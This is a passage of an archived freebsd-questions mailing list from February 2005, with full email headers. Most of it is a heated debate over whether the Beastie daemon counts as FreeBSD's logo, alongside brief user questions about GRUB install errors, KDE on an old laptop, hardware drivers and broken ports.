b=oc5+HL4jjjZw5thgfi00o58tyycbYsCP0dMDyPD45fkQ9gqQ+9jpNEViuhfdZWYTip7ZKo5puUQFy7n3DqJipsA1xtTiOIG0cZ5gpCBIBzwmQ1tfQuLpep9kCMfTBth0vln/fz+l5Gce9k6bOI1D9muRf+dCOZvlE8OB/6VABFs= Received: by 10.38.171.5 with SMTP id t5mr61029rne; Thu, 10 Feb 2005 06:03:30 -0800 (PST) Received: by 10.38.101.19 with HTTP; Thu, 10 Feb 2005 06:03:30 -0800 (PST) Message-ID: Date: Thu, 10 Feb 2005 08:03:30 -0600 From: Eric Kjeldergaard To: freebsd-questions@freebsd.org In-Reply-To: <1905317067.20050210103050@wanadoo.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <200502092223.01650.algould@datawok.com> <1905317067.20050210103050@wanadoo.fr> Subject: Re: Please don't change Beastie to another crap logo such asNetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Eric Kjeldergaard List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 14:03:31 -0000 Anthony Atkielski writes: > Ted Mittelstaedt writes: > > > And, I am also concerned about the historical revisionists who > > are claiming FreeBSD never had a logo. That is hogwash. > > Where can I see the logo? > > > Nobody ever said that FreeBSD lacked a logo until after a few days ago > > when this ill-conceived competition was leaked - because everyone knew > > the logo was Beastie. > > That's not a logo. Just about every image I've seen of Beastie has been > different, so it's not a logo, it's a character associated with the > brand (like Mickey Mouse). Logos are simple and instantly recognizable; > they do not mutate from one presentation to the next. Most open-source > projects don't have logos; even Linux lacks a proper logo (one could > probably be made from the popular penguin character, but I haven't seen > any examples). > Okay, I figured I just as well join in...seems like a good idea. I'm choosing this email to respond to: randomly selected from a relatively large number of messages expressing this same idea. The logo can be seen on the website www.freeBSD.org. it is in fact a relatively (from a printing perspective) high-resolution image of our daemon, holding a pitchfork on his left side. He is slightly facing forward, though looks off somewhat to the right. I know, "He's a mascot, not a daemon"...but that's not entirely true (not true at all?). dictionary.com says that a logo is a A name, symbol, or trademark designed for easy and definite recognition, especially one borne on a single printing plate or piece of type. or a n : a company emblem or device These are definitely vague enough to not disqualify an image of our daemon on technical merit. Further, FreeBSD proper calls the daemon image our logo (see logo_saver.ko). Before I read another of these stating that beastie is not a logo, I thought I should voice the fact (not my opinion, mind you) that we do indeed have a logo, albeit one that could use some modification to ease reproduction. (The latter part being opinion) -- If I write a signature, my emails will appear more personalised. From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 14:06:01 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5E08E16A4CE for ; Thu, 10 Feb 2005 14:06:01 +0000 (GMT) Received: from out1.smtp.messagingengine.com (out1.smtp.messagingengine.com [66.111.4.25]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2EB1743D2F for ; Thu, 10 Feb 2005 14:06:01 +0000 (GMT) (envelope-from rax@rakhesh.com) X-Sasl-enc: 7kYPEJjgkGWtBtVY+nH0eA 1108044358 Received: from [127.0.0.1] (unknown [82.178.86.16]) by frontend1.messagingengine.com (Postfix) with ESMTP id 6B8C0C56104; Thu, 10 Feb 2005 09:05:52 -0500 (EST) Message-ID: <420B6A8E.70408@rakhesh.com> Date: Thu, 10 Feb 2005 18:07:10 +0400 From: Rakhesh Sasidharan Organization: rakhesh.com User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Leonidas Tsampros References: <20050210033154.GA5672@bifteki.home.net> In-Reply-To: <20050210033154.GA5672@bifteki.home.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Antivirus: avast! (VPS 0506-0, 02/08/2005), Outbound message X-Antivirus-Status: Clean cc: freebsd-questions@freebsd.org Subject: Re: Error 29: Disk write error while installing GRUB X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 14:06:01 -0000 I did a brief check on the net, and it seems to be bug that has been fixed. What version of GRUB are you using? The bug was that GRUB wasn't mounting the disks read-write. Alternatively, maybe you want to make a GRUB boot disk, and then try installing from that? From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 14:09:49 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 9195E16A4CE for ; Thu, 10 Feb 2005 14:09:49 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4831C43D2D for ; Thu, 10 Feb 2005 14:09:49 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1103.wanadoo.fr (SMTP Server) with ESMTP id 000A41C0009B for ; Thu, 10 Feb 2005 15:09:47 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1103.wanadoo.fr (SMTP Server) with ESMTP id D3AE21C0008E for ; Thu, 10 Feb 2005 15:09:47 +0100 (CET) X-ME-UUID: 20050210140947867.D3AE21C0008E@mwinf1103.wanadoo.fr Date: Thu, 10 Feb 2005 15:09:47 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <894943359.20050210150947@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: References: <200502092223.01650.algould@datawok.com> <1905317067.20050210103050@wanadoo.fr> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Please don't change Beastie to another crap logo such asNetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 14:09:49 -0000 Eric Kjeldergaard writes: > The logo can be seen on the website www.freeBSD.org. it is in fact a > relatively (from a printing perspective) high-resolution image of our > daemon, holding a pitchfork on his left side. He is slightly facing > forward, though looks off somewhat to the right. I know, "He's a > mascot, not a daemon"...but that's not entirely true (not true at > all?). Tell you what: Go out and find out how much it would cost to print 10,000 copies of that "logo" on paper, exactly as it appears on the site, in crisp detail and bright colors. Then you'll see why a separate logo is required. > A name, symbol, or trademark designed for easy and definite > recognition, especially one borne on a single printing plate or piece > of type. Yes, a _single printing plate_ or a _piece of type_. The image you reference doesn't even come close to that. > These are definitely vague enough to not disqualify an image of our > daemon on technical merit. It's precisely this technical merit that causes the problem. Beastie is too unsuitable for printing or for use in a wide range of media. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 14:11:06 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 672F516A4CE for ; Thu, 10 Feb 2005 14:11:06 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.193]) by mx1.FreeBSD.org (Postfix) with ESMTP id EF38C43D2F for ; Thu, 10 Feb 2005 14:11:05 +0000 (GMT) (envelope-from kjelderg@gmail.com) Received: by rproxy.gmail.com with SMTP id j1so100787rnf for ; Thu, 10 Feb 2005 06:11:05 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=lsad3BMMLAGvjXAj7ybGIEfiPmbFHlT5yDkwbsAPV1lfPQPogCbsR5YsamPUqrJg/qCV7ctT91PGVh+ZHrdreuXTcYILHrfHZS6b45LRYNsa4QMIcfzCp9186OMy3PaoWEYpLhRsEkYQzPt4bFcgFDQKU8wkVIPc9WfD9ufwxcQ= Received: by 10.38.181.41 with SMTP id d41mr31358rnf; Thu, 10 Feb 2005 06:11:05 -0800 (PST) Received: by 10.38.101.19 with HTTP; Thu, 10 Feb 2005 06:11:05 -0800 (PST) Message-ID: Date: Thu, 10 Feb 2005 08:11:05 -0600 From: Eric Kjeldergaard To: Leandro D'Addario In-Reply-To: <32c1830105021003342bbceee6@mail.gmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <32c1830105021003342bbceee6@mail.gmail.com> cc: questions@freebsd.org Subject: Re: Can I... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Eric Kjeldergaard List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 14:11:06 -0000 > Hi there! > I would to know if i can install the last relase of freeBSD on my computer. > It's an acer travelmate 201t(It's old i know), celeron 600, 320Mb RAM, HD 4.7Gb. > > Can I have problems with KDE (I' ve already had with Mandrake 10...)?!? > There is a way to fix these problems (I see the screen only during the > install phase (with graphics), then at the reboot the screen becomes > black)... > I hope there will be no problems with freeBSD. > Thank You Leandro This would probably be better sent to -mobile, but as long as it's here... You can almost assuredly run freeBSD with KDE on that system. I did with my 366mhz thinkpad and it was fine. If you had the availability of more RAM, it would be helpful, but 320 would cut it. I'm not sure what your video issues were with Mandrake and you didn't send your video card spex/brand/etc. It seems from a quick google search that people got FreeBSD running on a computer of that model since they are asking how to get the winModem running. I recommend trying it and seeing if it works. -- If I write a signature, my emails will appear more personalised. From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 14:11:33 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8A83816A4CE for ; Thu, 10 Feb 2005 14:11:33 +0000 (GMT) Received: from ritamari.vonostingroup.com (ip193-230.digitalrealm.net [216.144.193.230]) by mx1.FreeBSD.org (Postfix) with ESMTP id A849A43D3F for ; Thu, 10 Feb 2005 14:11:32 +0000 (GMT) (envelope-from laszlof@tvog.net) Received: from adsl-68-72-248-38.dsl.sfldmi.ameritech.net ([68.72.248.38] helo=tvog.net) by ritamari.vonostingroup.com with esmtpa (Exim 4.44 (FreeBSD)) id 1CzF26-000EBR-6r for freebsd-questions@freebsd.org; Thu, 10 Feb 2005 09:11:02 -0500 Message-ID: <420B6B92.2020407@tvog.net> Date: Thu, 10 Feb 2005 09:11:30 -0500 From: Frank Laszlo User-Agent: Mozilla Thunderbird 0.5 (Windows/20040207) X-Accept-Language: en-us, en MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <108284711.20050210103325@wanadoo.fr> <1636493377.20050210140847@wanadoo.fr> In-Reply-To: <1636493377.20050210140847@wanadoo.fr> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - ritamari.vonostingroup.com X-AntiAbuse: Original Domain - freebsd.org X-AntiAbuse: Originator/Caller UID/GID - [0 0] / [26 6] X-AntiAbuse: Sender Address Domain - tvog.net X-Source: X-Source-Args: X-Source-Dir: Subject: Re: Please don't change Beastie to another crap logo suchasNetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 14:11:33 -0000 Anthony Atkielski wrote: >Ted Mittelstaedt writes: > > >>The only real issue I see to FreeBSD's survival that requires >>corporate attention is device drivers for new hardware. And this is an >>issue that harms all operating systems even Windows. There are just as >>many older versions of Windows being made unrunnable by new hardware >>that lacks drivers for it, as BSD versions. >> >> > >Don't hardware manufacturers publish specs detailed enough to allow >third parties to write drivers? > > In a perfect world, Yes. In reality. No. A lot of hardware manufactures feel that they only need to support the 75% of the world that runs a proprietary OS. (this 75% figure was pulled out of my ass, it doesnt mean anything, just a representation) There is a general lack of support for the "Free" world from corporations developing hardware, this is one of the major downfalls in using Free software. (should say a Free OS, and not software in general) This is partially due to marketing and promotion of the OS in question. Take a look at a few major linux distributions for example. Lets say Fedora and SuSE. They have far superior hardware support than say slackware, or even FreeBSD for that matter. Why? Because they have major corporations backing them. With funding, promotion, etc... What does FreeBSD have? I dont have an answer for this yet. I'm not trying to start a flamewar, so dont take it that way. Just my 2 cents. Regards, Frank Laszlo From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 14:18:44 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D5F9516A4CE for ; Thu, 10 Feb 2005 14:18:44 +0000 (GMT) Received: from ritamari.vonostingroup.com (ip193-230.digitalrealm.net [216.144.193.230]) by mx1.FreeBSD.org (Postfix) with ESMTP id 412C643D46 for ; Thu, 10 Feb 2005 14:18:44 +0000 (GMT) (envelope-from laszlof@tvog.net) Received: from adsl-68-72-248-38.dsl.sfldmi.ameritech.net ([68.72.248.38] helo=tvog.net) by ritamari.vonostingroup.com with esmtpa (Exim 4.44 (FreeBSD)) id 1CzF94-000ENB-8k for freebsd-questions@freebsd.org; Thu, 10 Feb 2005 09:18:14 -0500 Message-ID: <420B6D42.9090203@tvog.net> Date: Thu, 10 Feb 2005 09:18:42 -0500 From: Frank Laszlo User-Agent: Mozilla Thunderbird 0.5 (Windows/20040207) X-Accept-Language: en-us, en MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <200502092223.01650.algould@datawok.com> <1905317067.20050210103050@wanadoo.fr> <894943359.20050210150947@wanadoo.fr> In-Reply-To: <894943359.20050210150947@wanadoo.fr> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - ritamari.vonostingroup.com X-AntiAbuse: Original Domain - freebsd.org X-AntiAbuse: Originator/Caller UID/GID - [0 0] / [26 6] X-AntiAbuse: Sender Address Domain - tvog.net X-Source: X-Source-Args: X-Source-Dir: Subject: Re: Please don't change Beastie to another crap logo such asNetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 14:18:44 -0000 Anthony Atkielski wrote: >Eric Kjeldergaard writes: > > > >>The logo can be seen on the website www.freeBSD.org. it is in fact a >>relatively (from a printing perspective) high-resolution image of our >>daemon, holding a pitchfork on his left side. He is slightly facing >>forward, though looks off somewhat to the right. I know, "He's a >>mascot, not a daemon"...but that's not entirely true (not true at >>all?). >> >> > >Tell you what: Go out and find out how much it would cost to print >10,000 copies of that "logo" on paper, exactly as it appears on the >site, in crisp detail and bright colors. Then you'll see why a separate >logo is required. > > > >>A name, symbol, or trademark designed for easy and definite >>recognition, especially one borne on a single printing plate or piece >>of type. >> >> > >Yes, a _single printing plate_ or a _piece of type_. The image you >reference doesn't even come close to that. > > you are all looking at a web graphic. Allready rendered as process colors. Its impossible to say how many "printing plates" its on. Obviously its more than 1. But that graphic could easily be a spot color print job, Which I think by today's standards is acceptable. And I believe you stated a logo should be free of "screens" You only need 1 plate to do a screen, so this is also irrelevent. Regards, Frank Laszlo From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 14:22:51 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6D8BF16A4CE for ; Thu, 10 Feb 2005 14:22:51 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.197]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0339043D45 for ; Thu, 10 Feb 2005 14:22:51 +0000 (GMT) (envelope-from kjelderg@gmail.com) Received: by rproxy.gmail.com with SMTP id j1so102751rnf for ; Thu, 10 Feb 2005 06:22:50 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=onoFYuvYHNjgVnMNMXlJ4GhsKqA7Jg2GCSHgh0FFRDeJqKvbu1G2BLAvNXEstU9K3RSQwQDwDc1SqhFWgPYYBFnRpZqMXo3idIShgSqg1zQiXd6NWHFM485XypUvZCqtJZqyYgtCqFk1Ih3B9hYyFl0DT3cqX1i7K2SSMRls248= Received: by 10.38.104.74 with SMTP id b74mr31750rnc; Thu, 10 Feb 2005 06:22:50 -0800 (PST) Received: by 10.38.101.19 with HTTP; Thu, 10 Feb 2005 06:22:50 -0800 (PST) Message-ID: Date: Thu, 10 Feb 2005 08:22:50 -0600 From: Eric Kjeldergaard To: freebsd-questions@freebsd.org In-Reply-To: <894943359.20050210150947@wanadoo.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <200502092223.01650.algould@datawok.com> <1905317067.20050210103050@wanadoo.fr> <894943359.20050210150947@wanadoo.fr> Subject: Re: Please don't change Beastie to another crap logo such asNetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Eric Kjeldergaard List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 14:22:51 -0000 On Thu, 10 Feb 2005 15:09:47 +0100, Anthony Atkielski wrote: > Eric Kjeldergaard writes: > > > The logo can be seen on the website www.freeBSD.org. it is in fact a > > relatively (from a printing perspective) high-resolution image of our > > daemon, holding a pitchfork on his left side. He is slightly facing > > forward, though looks off somewhat to the right. I know, "He's a > > mascot, not a daemon"...but that's not entirely true (not true at > > all?). > > Tell you what: Go out and find out how much it would cost to print > 10,000 copies of that "logo" on paper, exactly as it appears on the > site, in crisp detail and bright colors. Then you'll see why a separate > logo is required. > > > A name, symbol, or trademark designed for easy and definite > > recognition, especially one borne on a single printing plate or piece > > of type. > > Yes, a _single printing plate_ or a _piece of type_. The image you > reference doesn't even come close to that. > > > These are definitely vague enough to not disqualify an image of our > > daemon on technical merit. > > It's precisely this technical merit that causes the problem. Beastie is > too unsuitable for printing or for use in a wide range of media. > > -- > Anthony Very *cough* convenient cut job. I certainly mentioned that the freeBSD logo could use some simplification for ease of printing. My argument was simply that FreeBSD proper calls the beastie a logo, the userbase calls it a logo, and the dictionary does not invalidate it as a logo. the word "especially" used in a definition means taht it is not a requirement for fulfillment, just a trend in things fulfilling that definition. Further, dictionaries work by listing multiple definitions, and the fulfillment of any of them would qualify the word for acceptable use. Perhaps you missed the following (dictionary.com) n : a company emblem or device Perhaps "emblem" was troubling. An emblem is defined as (again, dictionary.com) n 1: special design or visual object representing a quality, type, group, etc. 2: a visible symbol representing an abstract idea Since a "mascot" (which most/all are certainly saying the daemon is) is a n : a person or animal that is adopted by a team or other group as a symbolic figure I should certainly think that a representation of a mascot, is a visual object representing the group that the mascot also represented. And this is definitely an emblem of FreeBSD. What's more important, from a linguistic perspective, is the usage within the group in question. The group in question is definitely FreeBSD core team and the FreeBSD community. These messages and dozens like it show that the commonly understood usage of logo does include images of our mascot, again, easily seen by looking at logo_saver. -- If I write a signature, my emails will appear more personalised. From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 14:59:21 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 619A616A4D4 for ; Thu, 10 Feb 2005 14:59:21 +0000 (GMT) Received: from out005.verizon.net (out005pub.verizon.net [206.46.170.143]) by mx1.FreeBSD.org (Postfix) with ESMTP id AEBF043D46 for ; Thu, 10 Feb 2005 14:59:20 +0000 (GMT) (envelope-from leblanc@keyslapper.org) Received: from keyslapper.org ([68.163.189.143]) by out005.verizon.net (InterMail vM.5.01.06.06 201-253-122-130-106-20030910) with ESMTP id <20050210145920.DEGC6130.out005.verizon.net@keyslapper.org> for ; Thu, 10 Feb 2005 08:59:20 -0600 Received: from localhost (localhost [127.0.0.1]) by keyslapper.org (Postfix) with ESMTP id 581BB11E41 for ; Thu, 10 Feb 2005 09:59:19 -0500 (EST) Received: from keyslapper.org ([127.0.0.1]) by localhost (keyslapper.net [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 91384-05 for ; Thu, 10 Feb 2005 09:59:11 -0500 (EST) Received: by keyslapper.org (Postfix, from userid 1001) id B04EB11E3A; Thu, 10 Feb 2005 09:59:11 -0500 (EST) Date: Thu, 10 Feb 2005 09:59:11 -0500 From: Louis LeBlanc To: freebsd-questions@freebsd.org Message-ID: <20050210145911.GC89175@keyslapper.net> Mail-Followup-To: freebsd-questions@freebsd.org References: <20050210055117.GA96699@keyslapper.net> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="lrZ03NoBR/3+SXJZ" Content-Disposition: inline In-Reply-To: X-PGP-Key: http://www.keyslapper.net/~leblanc/leblanc-at-keyslapper-net.asc User-Agent: Mutt/1.5.7i X-Virus-Scanned: amavisd-new at keyslapper.net X-Authentication-Info: Submitted using SMTP AUTH at out005.verizon.net from [68.163.189.143] at Thu, 10 Feb 2005 08:59:19 -0600 Subject: Re: Please don't change Beastie to another crap logo such asNetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@FreeBSD.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 14:59:21 -0000 --lrZ03NoBR/3+SXJZ Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On 02/10/05 12:55 AM, Ted Mittelstaedt sat at the `puter and typed: > owner-freebsd-questions@freebsd.org wrote: > > On 02/09/05 09:45 PM, Chad Leigh -- Shire.Net LLC sat at the > > `puter and typed: > >=20 > > Yes, but business is why Microsoft Windows (*) sucks old rocks. > > Microsoft is in business to make money, not better software. I was > > always under the impression that while the FreeBSD foundation was "in > > business" to promote FreeBSD, the chief focus of the core team has > > always been a better OS. Keeping Beastie is a statement of sorts that > > the FreeBSD team is NOT interested in business, just their work. > >=20 > > Once upon a time, a geek could get by with their idiosyncrasies > > because they were obviously not interested in the power points that > > the businessmen and politicians wanted. They were only interested in > > their gadgetry, software, and whatever cool new technology came along. > > Now, one by one, everyone's worried about "business like" images, > > logos, and whatnot.=20 > >=20 >=20 > Hi Louis, >=20 > Yep, I was wondering how long it would take before someone figured > this one out. We know the real rea$on$ that this logo change is > being contemplated, don't we. Thank you. I thought I was the only one . . . > > You may be right, but I still strongly (but respectfully) disagree. > > >=20 > And I strongly disagree without any respect. Respectful disagreement > is one of the power points that the businessmen and politicians > want, it has never been a geek idiosyncracy. LOL! Yeah, well, I have to admit, I'm fuming over here too. Lou --=20 Louis LeBlanc FreeBSD-at-keyslapper-DOT-net Fully Funded Hobbyist, KeySlapper Extrordinaire :) Please send off-list email to: leblanc at keyslapper d.t net Key fingerprint =3D C5E7 4762 F071 CE3B ED51 4FB8 AF85 A2FE 80C8 D9A2 Immortality consists largely of boredom. -- Zefrem Cochrane, "Metamorphosis", stardate 3219.8 --lrZ03NoBR/3+SXJZ Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCC3a/r4Wi/oDI2aIRAiJZAKCIeK27Acu2kbsN2jtlnyvzb2JaQgCfTwF6 DTZrTe5OKp6wY/0Tz/EEJAo= =M+1M -----END PGP SIGNATURE----- --lrZ03NoBR/3+SXJZ-- From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 15:14:36 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id CB47A16A4CE for ; Thu, 10 Feb 2005 15:14:36 +0000 (GMT) Received: from mail-core.space2u.com (mail-core.space2u.com [62.20.1.181]) by mx1.FreeBSD.org (Postfix) with ESMTP id F0AAC43D4C for ; Thu, 10 Feb 2005 15:14:35 +0000 (GMT) (envelope-from jd@dagerot.com) Received: from localhost (www-core.space2u.com [62.20.1.180]) by mail-core.space2u.com (8.13.3/8.13.2) with ESMTP id j1AFEWtm031883 for ; Thu, 10 Feb 2005 16:14:32 +0100 Date: Thu, 10 Feb 2005 16:14:32 +0100 Message-Id: <200502101514.j1AFEWtm031883@mail-core.space2u.com> MIME-Version: 1.0 From: "Joachim Dagerot" To: freebsd-questions@freebsd.org Cc: Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit Subject: Messed up my ports - "Can't find the `5.1-RELEASE' distribution on this FTP server." X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 15:14:36 -0000 I have probably done something sometime on my 2 year+ server installation that wrecked my port installation. Whenever I try to install a port I get the "Can't find the `5.1-RELEASE' distribution on this FTP server." the same goes with "sysinstall -> configure -> Distributions" I have tried multiple servers including the main. With the same result. I really don't know what to do. Any help is appreciated! From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 15:59:10 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3E6F716A4CE for ; Thu, 10 Feb 2005 15:59:10 +0000 (GMT) Received: from out003.verizon.net (out003pub.verizon.net [206.46.170.103]) by mx1.FreeBSD.org (Postfix) with ESMTP id A2DA243D1D for ; Thu, 10 Feb 2005 15:59:09 +0000 (GMT) (envelope-from leblanc@keyslapper.org) Received: from keyslapper.org ([68.163.189.143]) by out003.verizon.net (InterMail vM.5.01.06.06 201-253-122-130-106-20030910) with ESMTP id <20050210155908.VJHK7729.out003.verizon.net@keyslapper.org> for ; Thu, 10 Feb 2005 09:59:08 -0600 Received: from localhost (localhost [127.0.0.1]) by keyslapper.org (Postfix) with ESMTP id E837111E41 for ; Thu, 10 Feb 2005 10:59:07 -0500 (EST) Received: from keyslapper.org ([127.0.0.1]) by localhost (keyslapper.net [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 93493-04 for ; Thu, 10 Feb 2005 10:59:00 -0500 (EST) Received: by keyslapper.org (Postfix, from userid 1001) id 397C611E3A; Thu, 10 Feb 2005 10:59:00 -0500 (EST) Date: Thu, 10 Feb 2005 10:59:00 -0500 From: Louis LeBlanc To: freebsd-questions@freebsd.org Message-ID: <20050210155900.GD89175@keyslapper.net> Mail-Followup-To: freebsd-questions@freebsd.org References: <200502092223.01650.algould@datawok.com> <1905317067.20050210103050@wanadoo.fr> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="6sX45UoQRIJXqkqR" Content-Disposition: inline In-Reply-To: <1905317067.20050210103050@wanadoo.fr> X-PGP-Key: http://www.keyslapper.net/~leblanc/leblanc-at-keyslapper-net.asc User-Agent: Mutt/1.5.7i X-Virus-Scanned: amavisd-new at keyslapper.net X-Authentication-Info: Submitted using SMTP AUTH at out003.verizon.net from [68.163.189.143] at Thu, 10 Feb 2005 09:59:08 -0600 Subject: Re: Please don't change Beastie to another crap logo such asNetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@FreeBSD.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 15:59:10 -0000 --6sX45UoQRIJXqkqR Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On 02/10/05 10:30 AM, Anthony Atkielski sat at the `puter and typed: > Ted Mittelstaedt writes: >=20 > > And, I am also concerned about the historical revisionists who > > are claiming FreeBSD never had a logo. That is hogwash. >=20 > Where can I see the logo? >=20 > > Nobody ever said that FreeBSD lacked a logo until after a few days ago > > when this ill-conceived competition was leaked - because everyone knew > > the logo was Beastie. >=20 > That's not a logo. Just about every image I've seen of Beastie has been > different, so it's not a logo, it's a character associated with the > brand (like Mickey Mouse). Logos are simple and instantly recognizable; > they do not mutate from one presentation to the next. Most open-source > projects don't have logos; even Linux lacks a proper logo (one could > probably be made from the popular penguin character, but I haven't seen > any examples). >=20 > Red Hat, however, _does_ have a logo. >=20 > > Yes I understand that some commercial consultants and such have had > > problems due to the logo being a devil image. >=20 > Logos need to be as neutral as possible, since they will be very widely > used and very heavily imprinted in customers' minds. They must not > conjure up thoughts of anything except the brand they represent. Neutrality is purely objective in this case (and many others). Uninformed neutrality can be highly inflammatory. Beastie is only considered inflammatory to those uninformed fundamentalists who haven't been satisfied beating down every other freedom in this country and need someone or something else to pick on. Next they'll be burning books and witches again. Sorry, getting a little OT, but there it is. > > This logo competition is childish - 99% of the 